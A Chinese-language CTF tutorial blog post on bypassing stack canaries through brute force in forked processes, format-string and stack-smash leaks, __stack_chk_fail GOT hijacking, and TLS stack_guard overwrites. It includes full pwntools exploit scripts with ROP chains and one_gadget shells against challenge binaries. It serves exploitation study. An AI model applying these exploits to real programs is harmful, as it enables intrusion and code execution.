Bypass Canary
2023-11-05 16:54:04

Canary Bypass

简介

Canary(金丝雀):

是一种用来防护栈溢出的保护机制。其原理实在一个函数的入口点,先从fs/gs寄存器中取出一个字节(eax)或者8个字节(rax)的值存在栈上(最低位都为\x00),当函数结束时会检查这个栈上的值是否和存进去的值一致;

Demo:

#include <stdio.h>
#include <string.h>

void foo(char *input) {
    char buff[256];
    strcpy(buff, input);
    printf("%s", buff);
}

int main() {
    foo("Hello, World!");
    return 0;
}

GCC中使用Canary:

-fstack-protector #启用保护, 不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all #启用保护, 为所有函数插入保护 默认情况编译开启栈保护
-fstack-protector-strong #对包含有malloc族系或者内部的buffer大于8字节的或者包含局部数组的或者包含对local frame地址引用的函数使能Canary.
-fstack-protector-explicit #只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector #禁用保护

关闭Canary编译:

gcc canary.c -o canary -fno-stack-protector

image-20231025220843457

开启Canary编译:

gcc canary.c -o canary

==》启用Canary后,在函数序言部分会取fs寄存器0x28处的值,存放至栈中rbp-0x8的位置

==》在函数返回前,会将该值取出,然后与原值进行对比:

===》若一致则正常退出

===》若是栈溢出或者其他原因导致Canary发生变化,那么程序将执行___stack_chk_fail函数(位于glibc中),然后终止程序:

image-20231025225806841

image-20231025225852681

==》

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
 
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

Bypass

爆破Canary

对于Canary,每次进程重启后Canary都会发生变化

但是在同一个进程中的不同线程的Canary是相同的==》通过fork函数创建的子进程中的Canary也是相同的(因为fork函数会直接拷贝父进程)

爆破方式/模板:最低位为0x00,之后逐次爆破(低位爆破),若爆破不成功,则程序崩溃,爆破成功则程序继续运行;

Canary = b'\x00'
for i in range(3): #三个字节 若是x64改为7即可
    for c in range(0x100):  #00~ff
        log.success('index: '+ str(i) + ": " + chr(c))
        io.send(b'a'*100 + Canary + bytes([c])) #单字节覆盖
        re = io.recvuntil(b"????")  #程序继续运行
        #若在上方进程中通过检查则继续运行(进程未崩溃)
        #则继续输出“recv sucess”
        if b"????" in re:  
                Canary += bytes([c])
                log.success("Canary: " + Canary.hex())
                break

bin1

检查程序,32位,开启了Canary和NX

image-20231031131856602

32位IDA打开看看:使用了fork创建子进程

image-20231031132156209

fun:

由于是32位程序,所以我们只需要爆破3个字节,范围都为00~ff;

程序中还有一个后门函数,getflag:

==》有fork函数,直接爆破获取Canary,栈溢出至后门函数即可;

EXP

直接采用模板爆破即可:

from pwn import *
io = process('./bin1')
elf = ELF('./bin1')

io.recv()
Canary = b'\x00'

for i in range(3): #三个字节
    for c in range(0x100):  #00~ff
        log.success('index: '+ str(i) + ": " + chr(c))
        io.send(b'a'*100 + Canary + bytes([c])) #单字节覆盖
        re = io.recvuntil(b"welcome\n")  #程序继续运行
        #若在上方进程中通过检查则继续运行(进程未崩溃)
        #则继续输出“recv sucess”
        if b"sucess" in re:  
                Canary += bytes([c])
                log.success("Canary: " + Canary.hex())
                break

get_flag = 0x804863B
payload = b'A' * 100 + Canary + b'A' * 12 + p32(get_flag)

io.send(payload)
io.interactive()

本地结果:成功爆破Canary

image-20231031180230154

泄露获取

Canary在设计中以’\x00’结尾,本意是保证Canary能截断字符串

==》1、泄露栈中的Canary的思路就可以是覆盖Canary的低字节来带出剩余的Canary部分;

==》2、也可以通过格式化字符串的漏洞泄漏出Canary的值:

常见格式化字符串函数:

#输入
scanf

#输出
printf#等同于fprintf,他的假定输出流位stdout
fprintf#三个参数为流,格式字符串,变参列表
vprintf
sprintf
snprintf
vsprintf
vsnprintf
setproctitle
syslog
err,verr,warn,vmarn等

转换规则:%[参数] [标志] [宽度] [精度] [长度] 转换指示符

例:printf

%d:打印成数字
%x:打印成16进制
%s:打印字符串(以\0结尾)
%n:把前面已经打印的长度写入某个内存地址
		向内存中写入任何值(任意地址)
		%n:将已输出的字符串数全4字节写到指定地址
		%hn:将已输出的字符串数低2字节写到指定地址
		%hhn:将已输出的字符串数低1字节写到指定地址
$:定位参数
%10$x:打印第10个参数的16进制形式
%10$s:打印第10个参数所指向的字符串
%10c:打印10个空格

重点:确定Canary的偏移

Stack smash(ssp 2.27以上失效)

利用报错函数__stack_chk_fail函数泄漏信息

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
 
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
    //这里简单理解成打印出报错信息即可,也就是可以泄露信息
}

argc:命令的条数
argv[]:输入的每条命令

==》打印argv[0]指针指向的字符串,正常情况下该指针指向程序名

===》利用栈溢出覆盖argv[0]为想要输出的字符串地址(flag等)

重点:argv[0]的偏移

该方法与Glibc2.27以上失效:

image-20231025231405146

wdb2018_guess

64位程序,且开启了NX和Canary,丢IDA里看看伪代码:

image-20231028155409402

image-20231028155857903

一个比较明显的栈溢出,并且有fork函数创建子进程==》那我们就先来触发一下栈溢出导致Canary:

from pwn import *

io=process("./GUESS")
#context.log_level = 'debug'

payload = b"a"*0x100

io.recv()
io.sendline(payload)

io.interactive()

image-20231030141250155

可以看到导致了程序stack smashing detected并输出了程序名==》动态调试一下,找到这个存储程序名的__libc_argv[0]:

直接下断点在输入上,写入4个a:

image-20231030142755345

根据栈空间可判断输入点距离__libc_argv[0]为:

image-20231030143016096

让我们再次触发栈溢出,测试下劫持__libc_argv[0]为puts@got是否能正常返回:

from pwn import *

io=process("./GUESS")
elf = ELF('./GUESS')
context.log_level = 'debug'

puts_got = elf.got['puts']

payload = b"a"*0x128 + p64(puts_got)

io.recv()
io.sendline(payload)

io.interactive()

符合预期,可以泄露地址,并且可以根据这个地址算出libc的基地址;

事已至此,我们已经掌握了对报错函数__stack_chk_fail函数泄漏信息的利用,那我们整理下思路,看看怎么拿下这题:

由于flag是被读到栈上的,所以我们考虑使用相同的方法将flag泄露出来,所以需要关于栈的地址==》

栈的地址可以通过_environ函数获得,这个函数位于libc中,用于存放这当前进程的环境变量==》

通过libc找到environ地址,再泄露environ地址处的值就可以得到环境变量地址,环境变量保存在栈上,之后就可以通过偏移得到栈上任意变量的地址;

在获取了_environ的地址(栈地址)后,就可以算一下这个地址和flag地址的偏移,之后依旧使用__stack_chk_fail将flag泄露出来;

image-20231031122410570

偏移:

EXP

from pwn import *

io=process("./GUESS")
elf = ELF('./GUESS')
libc = ELF('/home/closure/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
#context.log_level = 'debug'

puts_got = elf.got['puts']

payload = b"a"*0x128 + p64(puts_got)
io.recv()
io.sendline(payload)

io.recvuntil(b'stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))

libc_base = puts_addr - libc.sym["puts"]
environ_addr = libc_base + libc.sym['__environ']

log.success('puts_addr: '+hex(puts_addr))
log.success('libc_base: '+hex(libc_base))
log.success('environ_addr: '+hex(environ_addr))

payload = b"a"*0x128 + p64(environ_addr)
io.recv()
io.sendline(payload)

io.recvuntil(b'stack smashing detected ***: ')
stack_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('stack_addr: '+hex(stack_addr))

flag_addr = stack_addr - 0x168
payload = b"a"*0x128 + p64(flag_addr)
io.recv()
io.sendline(payload)

io.interactive()

本地结果:成功获得flag。

劫持__stack_chk_fail

已知Canary校验失败会进入__stack_chk_fail函数,且该函数是一个延迟绑定函数==》通过修改该函数的GOT表实现劫持;

[BJDCTF 2nd]r2t4

image-20231031201322787

64位程序,且开启了NX和Canary,丢IDA里看看伪代码:

image-20231031203606598

有一个栈溢出,但是只能溢出0x8,还有一个格式化字符串漏洞,并且有一个后门函数backdoor:

image-20231031202539421

栈溢出中虽然说可以溢出8字节,但是由于Canary占用8字节,会导致没法利用==》

格式化字符串漏洞没什么限制,可以考虑利用格式化字符串写,将__stack_chk_fail劫持为backdoor==》

再通过栈溢出覆盖Canary使检查不通过触发__stack_chk_fail函数==》

首要事情就是通过格式化字符串拿到偏移:通过libformatstr获取偏移

参考:

https://github.com/hellman/libformatstr
from libformatstr import *
from pwn import *

#context.log_level = 'debug'
bufsize = 50
elf = ELF('./r2t4')
r = process('./r2t4')
r.sendline(make_pattern(bufsize))
data = r.recv()
offset, padding = guess_argnum(data,bufsize)
log.info("offset :" + str(offset))

获得偏移:

image-20231103213552795

EXP1

有了偏移之后直接用fmtstr_payload劫持__stack_chk_fail为后门函数即可:

from pwn import *

io = process('./r2t4')
elf = ELF('./r2t4')
context(os='linux',arch='amd64',log_level='debug')
payload = fmtstr_payload(6,{elf.got['__stack_chk_fail']:0x0400626})
payload = payload.ljust(0x30,b'a')
io.send(payload)
io.recv()
io.recv()

本地结果:

image-20231103225302483

EXP2

当然也可以使用手动写入的方式实现:

from pwn import *

io = process('./r2t4')
elf = ELF('./r2t4')

__stack_chk_fail=elf.got['__stack_chk_fail']
backdoor = 0x400626

payload = b"%64c%9$hn%1510c%10$hnaaa" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
#payload解析
#64:0x40,对应backdoor函数地址的高两字节0x0040
#1510:1510+64=1574=0x626,对应backdoor函数地址的低两字节0x0626
#$hn:将已输出的字符数低2字节写到指定地址
#aaa:填充作用,栈对齐,使之为8的倍数,凑够24字节
#9:由于格式化字符串%64c%9$hn%1510c%10$hnaaa总共占用了24个字节 ==》偏移为6+24/8=9 ==》在__stack_chk_fail+2处写入0x40
#10 :在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节 ==》偏移为10 ==》在__stack_chk_fail处写入0x626
#p64(__ stack_chk_fail+2) + p64(__stack_chk_fail) :将backdoor函数地址分为高两个字节和低两字节进行写入__ stack_chk_fail
gdb.attach(io)
io.sendline(payload)
io.interactive()

__stack_chk_fail劫持:

栈空间:

image-20231103233746892

__stack_chk_fail@got.plt

image-20231103234604062

动态调试查看一下没劫持之前的__stack_chk_fail@got.plt

image-20231103234716014

触发格式化字符串劫持__stack_chk_fail@got.plt:成功被劫持为backdoor

image-20231103234819709

本地结果:

覆盖TLS中存储的Canary

已知在C程序中会存在全局变量,静态变量,局部变量,对于局部变量来说并不存在线程安全问题;

对于全局变量和函数内定义的静态变量,同一个进程内的各个线程都可以访问它们==》存在多线程读写问题;

如果需要在一个线程内部的各个函数调用都能访问,但是其他线程不能访问的变量==》TLS:

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
 
  void *__padding[8];
} tcbhead_t;

对于Linux来说,fs寄存器指向的是当前栈的TLS结构,而fs:0x28指向的是stack_guard

TLS初始化:

static void
  security_init (void)
  {
  // _dl_random的值在进入这个函数的时候就已经由kernel写入,也就是一个随机数生成器
  // glibc直接使用了_dl_random的值并没有给赋值
  // 如果不采用这种模式, glibc也可以自己产生随机数
  //将_dl_random的最后一个字节设置为0x0
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
    // stack_chk_guard也就是Canary
  // 设置Canary的值到TLS中
  THREAD_SET_STACK_GUARD (stack_chk_guard);
  _dl_random = NULL;
  }
  //THREAD_SET_STACK_GUARD宏用于设置TLS
  #define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

==》已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

starctf2018_babystack

image-20231104183405047

64位程序,开启了Canary和NX,丢进IDA里看看:

image-20231104194207122

pthread_create函数声明:

#include <pthread.h>
int pthread_create(
                 pthread_t *restrict tidp,   //新创建的线程ID指向的内存单元。
                 const pthread_attr_t *restrict attr,  //线程属性,默认为NULL
                 void *(*start_rtn)(void *), //新创建的线程从start_rtn函数的地址开始运行
                 void *restrict arg //默认为NULL。若上述函数需要参数,将参数放入结构中并将地址作为arg传入。
                  );

start_routine:

image-20231104202312934

程序的逻辑非常简单,通过创造线程调用start_routine,获取一个后续要输入数据的大小,最大不能超过0x10000,后续则读取数据;

可以看到读取数据时缓冲区大小为0x1010大小,远远小于0x10000==》栈溢出==》有Canary,通过修改TLS结构体实现绕过

首先就是要获取关于TLS的偏移(当然你不想找也行,只要使用较大的数据,能覆盖TLS就行)==》

from pwn import *

buf_size = 6100

welcome_addr = 0x400A1A
#welcome_addr = 0x4009E7

while True:
    log.success("buf_size:"+str(buf_size))
    io = process('./starctf2018_babystack')
    io.recvuntil('send?')
    io.sendline(str(buf_size))

    payload = b'a'*0x1018 + p64(welcome_addr)
    payload += b'a'*(buf_size - len(payload))

    io.send(payload)
    temp = io.recvall()
    print(temp)
    if "Welcome" in temp:
        log.success("TLS_buf_size:"+str(buf_size))
        break
    else:
        buf_size += 1
        io.close()

获取偏移:6128

既然Canary已经由覆盖TLS绕过,接下来就是一个普通的栈溢出了==》

首先需要泄露出libc base==》再做一个栈迁移最后调用onegadget即可==》

泄露libc base + 改rbp:

payload = b'a' * 0x1010 + p64(bss - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)

通过ROP链调用read:

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt)

通过leave_ret实现栈迁移 + 覆盖TLS结构体:

payload += p64(leave_ret)
payload = payload.ljust(6128, b'a')

几个 gadget:

pop_rdi:

image-20231105162722997

pop_rsi_r15:

image-20231105162803368

leave_ret:

image-20231105162857535

最后最后,通过read读入onegadget就可以get shell了:

image-20231105162119244

EXP

# -*- coding: utf-8 -*-
from pwn import *

io = process("./starctf2018_babystack")
elf = ELF("./starctf2018_babystack")
libc = ELF('./libc.so.6')
#context.log_level = "debug"
pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
leave_ret = 0x400955
bss = elf.bss() + 0x500

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

payload = b'a' * 0x1010 + p64(bss - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt)

payload += p64(leave_ret)
payload = payload.ljust(6128, b'a')

io.sendlineafter(b"send?\n", str(6128))
io.send(payload)

libc_base = u64(io.recvuntil('\x7f')[-6: ].ljust(8, b"\x00")) - libc.sym['puts']
one_gadget = libc_base + 0x4526a

io.send(p64(one_gadget))

io.interactive()

本地结果:当然你也可以不用调试获取的偏移,使用例如0x2000这种也行;

image-20231105152920941

本文附件:

https://github.com/zh-Closure/CTF/tree/main/Bypass%20Canary